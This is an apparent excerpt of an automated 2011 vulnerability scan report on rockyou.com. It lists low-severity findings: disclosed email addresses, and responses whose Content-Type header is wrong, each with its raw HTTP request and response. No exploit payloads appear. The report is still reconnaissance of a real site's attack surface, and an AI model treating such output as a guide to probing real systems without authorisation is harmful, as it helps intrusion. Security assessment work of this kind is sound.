<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<link href="/css/standard.css" rel="stylesheet" type="text/
...[SNIP]...

8. Email addresses disclosed  previous  next
There are 6 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


8.1. http://www.rockyou.com/checkuser.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /checkuser.php

Issue detail

The following email address was disclosed in the response:

Request

POST /checkuser.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: istack=%7C%7C%7Cwww202.rockyou.com
Accept-Encoding: gzip, deflate
Content-Length: 6

user=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:59:29 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=7502 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 40

Invalid Email Format! (joe@somebody.com)

8.2. http://www.rockyou.com/js/lightbox/prototype.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /js/lightbox/prototype.js

Issue detail

The following email address was disclosed in the response:

Request

GET /js/lightbox/prototype.js HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:26 GMT
Server: Apache/2.2
Last-Modified: Wed, 09 Sep 2009 21:38:59 GMT
ETag: "b9f3-4732be922c2c0"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=2743 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: application/x-javascript
Content-Length: 47603

/* Prototype JavaScript framework, version 1.4.0
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff
* against the source tree
...[SNIP]...

8.3. http://www.rockyou.com/login.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /login.php

Issue detail

The following email address was disclosed in the response:

Request

GET /login.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:53 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Set-Cookie: lang=en; expires=Thu, 28-Apr-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303163573; expires=Wed, 27-Jul-2011 21:52:53 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 21:52:52 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=11959 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35767

<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get
...[SNIP]...
e";
setError("");
document.getElementById('createforma').pass.focus();
// show superpets login hint
}
}
else
{
if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)";
document.getElementById("msg").innerHTML = status;
}

return 1;
}

// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed
...[SNIP]...

8.4. http://www.rockyou.com/rymini/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /rymini/

Issue detail

The following email addresses were disclosed in the response:

Request

GET /rymini/ HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:12 GMT
Server: Apache/2.2
Last-Modified: Wed, 13 Apr 2011 01:04:51 GMT
ETag: "adc3-4a0c26554d2c0"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=2102 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 44483

<!doctype html>
<html lang="en">

<head>
   <script src="js/jquery.js" type="text/javascript"></script>
   <script src="js/jquery.anchor.js" type="text/javascript"></script>
   <script type="text/java
...[SNIP]...
<br>support@rockyou.com</span>
...[SNIP]...
<span>pr@rockyou.com</span>
...[SNIP]...
<a href="mailto:pr@rockyou.com" style="color:#00aeef;">pr@rockyou.com</a>
...[SNIP]...

8.5. http://www.rockyou.com/rymini/index.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /rymini/index.html

Issue detail

The following email addresses were disclosed in the response:

Request

GET /rymini/index.html HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
Referer: http://newton.newtonsoftware.com/career/CareerHome.action?clientId=4028f88b26b87c660126c448b8f212b5&gnewtonResize=http://www.rockyou.com/rymini/GnewtonResize.htm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:52:17 GMT
Server: Apache/2.2
Last-Modified: Wed, 13 Apr 2011 01:04:51 GMT
ETag: "adc3-4a0c26554d2c0"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=2206 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 44483

<!doctype html>
<html lang="en">

<head>
   <script src="js/jquery.js" type="text/javascript"></script>
   <script src="js/jquery.anchor.js" type="text/javascript"></script>
   <script type="text/java
...[SNIP]...
<br>support@rockyou.com</span>
...[SNIP]...
<span>pr@rockyou.com</span>
...[SNIP]...
<a href="mailto:pr@rockyou.com" style="color:#00aeef;">pr@rockyou.com</a>
...[SNIP]...

8.6. http://www.rockyou.com/tos.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.rockyou.com
Path:   /tos.php

Issue detail

The following email address was disclosed in the response:

Request

GET /tos.php HTTP/1.1
Host: www.rockyou.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lang=en; lastlogin=1303163572; AAMBLFLAG=SET

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:05:19 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:05:18 GMT; path=/; domain=.rockyou.com
Set-Cookie: lastlogin=1303164319; expires=Wed, 27-Jul-2011 22:05:19 GMT; path=/; domain=.rockyou.com
Set-Cookie: sns_type=deleted; expires=Sun, 18-Apr-2010 22:05:18 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=12770 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32905


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML>
<HEAD>
<link href="/css/standard.css" rel="stylesheet" type="text/
...[SNIP]...
<br />Email: support@rockyou.com
<br />
...[SNIP]...
<p>

A. Send an email message to support@rockyou.com with the word "Remove" in the subject field; or
</p>
...[SNIP]...

9. Content type incorrectly stated  previous
There are 7 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


9.1. http://www.rockyou.com/ajaxticker.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.rockyou.com
Path:   /ajaxticker.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

POST /ajaxticker.php?instanceid= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Accept-Encoding: gzip, deflate
Content-Length: 276

set_default_publish_size=341+255.75&show-size=341_256&skin_url=&bg_color=0&background_id=http%3a%2f%2fapps.rockyou.com%2fbg-natashabedingfield.swf&transition_id=multistar&text_color=%23FFFFFF&panel_co
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:39 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Cache-Control: no-cache, must-revalidate
Set-Cookie: istack=%7C%7C%7Cwww202.rockyou.com; expires=Wed, 27-Jul-2011 21:54:39 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=14138 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25

{"mode":"song","data":[]}

9.2. http://www.rockyou.com/checkuser.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.rockyou.com
Path:   /checkuser.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

POST /checkuser.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: istack=%7C%7C%7Cwww202.rockyou.com
Accept-Encoding: gzip, deflate
Content-Length: 6

user=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:59:29 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=7502 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 40

Invalid Email Format! (joe@somebody.com)

9.3. http://www.rockyou.com/create-slideshow-js-combined.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.rockyou.com
Path:   /create-slideshow-js-combined.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /create-slideshow-js-combined.php?ver=2 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.rockyou.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:26 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=8322 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 103975

function Ghost_Popup(objName) {
this._objName = objName;
this._obj = '';
}

Ghost_Popup.prototype._objName;
Ghost_Popup.prototype._obj;
Ghost_Popup.prototype._opacity;
Ghost_Popup.prototype._o
...[SNIP]...

9.4. http://www.rockyou.com/events/include/ajaxtrackevent.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.rockyou.com
Path:   /events/include/ajaxtrackevent.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

POST /events/include/ajaxtrackevent.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Content-Length: 43

name=rockyou-login-torypass&value=mainlogin

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:00 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=6386 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1

1

9.5. http://www.rockyou.com/homepage/js/jquery.fancybox-1.3.1/ajax.txt  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.rockyou.com
Path:   /homepage/js/jquery.fancybox-1.3.1/ajax.txt

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

GET /homepage/js/jquery.fancybox-1.3.1/ajax.txt HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Accept: */*
Cache-Control: no-cache
Host: www.rockyou.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:54:12 GMT
Server: Apache/2.2
Last-Modified: Tue, 21 Sep 2010 01:53:05 GMT
ETag: "2bc-490bb4a334240"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=300 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 700

<div style="width:400px;overflow:auto">
   <h2>This comes from ajax request</h2>
   <p>
       Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean non velit. Donec pharetra, felis ut tristique a
...[SNIP]...

9.6. http://www.rockyou.com/partner/funmobility-ajax.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.rockyou.com
Path:   /partner/funmobility-ajax.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

POST /partner/funmobility-ajax.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: istack=%7C%7C%7Cwww202.rockyou.com
Accept-Encoding: gzip, deflate
Content-Length: 12

mode=carrier

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:56:14 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Cache-Control: no-cache, must-revalidate
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=106024 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31

{"mode":"carrier","data":false}

9.7. http://www.rockyou.com/show_my_gallery-ajax.php  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.rockyou.com
Path:   /show_my_gallery-ajax.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

POST /show_my_gallery-ajax.php?instanceid=13193054 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: istack=%7C%7C%7Cwww202.rockyou.com
Accept-Encoding: gzip, deflate
Content-Length: 6

vote=1

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 21:56:20 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Cache-Control: no-cache, must-revalidate
Vary: Accept-Encoding,User-Agent
X-RyHeader: www202.rockyou.com took D=15140 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 38

{"mode":"vote","data":["1.66667","3"]}

Report generated by XSS.CX at Mon Apr 18 17:12:40 CDT 2011.